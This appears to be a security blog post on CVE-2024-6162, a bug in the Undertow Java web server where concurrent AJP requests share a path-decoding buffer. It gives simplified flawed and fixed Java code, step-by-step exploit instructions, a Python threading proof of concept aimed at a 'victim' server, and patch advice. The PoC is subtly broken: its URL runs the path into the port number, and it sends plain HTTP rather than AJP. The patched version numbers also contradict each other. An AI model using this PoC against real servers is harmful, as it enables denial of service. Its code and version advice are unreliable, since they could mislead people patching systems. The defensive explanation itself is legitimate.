On June 19, 2024, security researchers discovered a vulnerability in Undertow, a flexible and performant Java web server. Tracked as CVE-2024-6162, this flaw lets attackers interfere with how URL-encoded request paths are decoded when the server's AJP listener is handling concurrent requests. The root of the bug? Request path buffers are shared across requests by mistake, potentially causing the server to serve or deny requests for the wrong resource.

In this post, I’ll break down how CVE-2024-6162 works, provide code snippets to illustrate the problem, share links to the official information, and show how an attacker might exploit it. Finally, you’ll see how to fix or mitigate the issue.

What Is the Vulnerability?

When you set up Undertow with its AJP (Apache JServ Protocol) listener (often used for integration with Apache httpd), every incoming request is supposed to have its path decoded safely and separately. However, due to a bug, multiple requests can end up sharing and overwriting the same memory buffer to decode their paths.

Imagine if request #1 wants /login%2Fadmin and at the same time, request #2 wants /logout%2Fuser. If the decoding buffer is shared, request #2 might get parts of #1’s path. This could cause the server to look up the wrong file or endpoint, and, worse, a legitimate request could suddenly see a "404 Not Found" or trigger application bugs. If this mix-up happens enough, it leads to denial of service—legitimate users are effectively locked out of real resources.

Official References

- CVE Official Entry
- Red Hat Security Advisory
- Undertow Issue Tracker
- Upstream Commit Fix

Suppose Undertow's AJP listener code looks like this (simplified)

public class AjpRequestHandler {
    private byte[] decodeBuffer = new byte[1024]; // Oops, shared buffer!

    public void handleRequest(InputStream ajpStream) {
        String requestPath = decodePath(ajpStream, decodeBuffer);
        // ... route request based on requestPath ...
    }
}

In a multithreaded servlet environment, multiple requests can end up running handleRequest() at the same time, so all of them reuse the same decodeBuffer. As a result, each request’s decoded path may get mangled or overwritten.

Each request should have its own buffer

public void handleRequest(InputStream ajpStream) {
    byte[] decodeBuffer = new byte[1024]; // New buffer per request!
    String requestPath = decodePath(ajpStream, decodeBuffer);
    // ... route request ...
}

But the original flawed code did not isolate request buffers.

How Does an Attack Work?

Exploiting this bug is mostly about making lots of concurrent requests with URL-encoded paths.

Step-by-Step Exploit

1. Open multiple concurrent connections (AJP/HTTP) to the affected server.
2. Send multiple requests with distinct, tricky encoded paths (e.g., /shop%2Fitem, /admin%2Fpanel).

If the buffers collide, some requests can receive the wrong decoded path. For example

- User A asks for /users%2Fdetails
- User B asks for /config%2Fedit
- But, due to the buffer mix-up, User B's request decodes to /users%2Fedit or an invalid path, causing a "404 Not Found".

Here's a PoC script using Python and threading to simulate attack traffic

import threading
import requests

def send_ajp_request(encoded_path):
    url = f"http://victim-undertow-server:808{encoded_path}";
    try:
        resp = requests.get(url)
        print(f"Requested {encoded_path} – Response: {resp.status_code}")
    except Exception as e:
        print(f"Error with {encoded_path}: {e}")

paths = [
    "/api%2Fv1%2Fuser",
    "/admin%2Fconsole",
    "/shop%2Fcart",
    "/settings%2Fprofile",
]

threads = []
for encoded_path in paths:
    t = threading.Thread(target=send_ajp_request, args=(encoded_path,))
    threads.append(t)
    t.start()

for t in threads:
    t.join()

What happens?

If the server’s buffers overlap, some requests will get mangled paths back, which may lead to "404 Not Found" or misrouting errors—triggering denial of service or unexpected application behavior.

Real World Impact

- Denial of Service: Legit URLs return 404 or errors; site/backend becomes unreliable.
- Application Logic Failures: Wrong endpoints triggered; sensitive business logic could be exposed to failure.

Mitigation & Fix

Official Patch:
Undertow's maintainers released a patch ensuring separate decode buffers per request. Upgrade to one of these versions:

Undertow 2.2.29.SP4 (for the older series)

Upgrading:
Check your dependencies or container (e.g., WildFly, JBoss EAP, Quarkus). Pull the fixed Undertow or patched container:

<!-- Example: Maven dependency -->
<dependency>
    <groupId>io.undertow</groupId>
    <artifactId>undertow-core</artifactId>
    <version>2.3.8.SP1</version>
</dependency>

Workaround:
If immediate upgrade is not possible and you are not actively using AJP protocol, disable the AJP listener in your server configuration (often in standalone.xml or equivalent).

Summary Table

| Threat | Trigger | Consequence | Fix |
|----------------|------------------------------|---------------------|------------------------|
| DoS/Misrouting | Concurrent AJP requests | 404, Failures, DoS | Upgrade Undertow |
| App bugs | URL-encoded path decoding | App logic errors | Use fixed decode logic |
| Exploit risk | Public AJP, no patch | DoS, data exposure | Upgrade/disable AJP |

Final Words

CVE-2024-6162 shows how subtle concurrency bugs (especially with shared buffers and encodings) can have a big impact in Java web servers like Undertow. If your stack uses Undertow’s AJP listener, update it now, or at least turn off AJP if you don't need it.

Stay patched! For more details:
- Red Hat’s CVE-2024-6162 summary
- Upstream fix commit

Timeline

Published on: 06/20/2024 15:15:50 UTC
Last modified on: 08/05/2024 15:51:35 UTC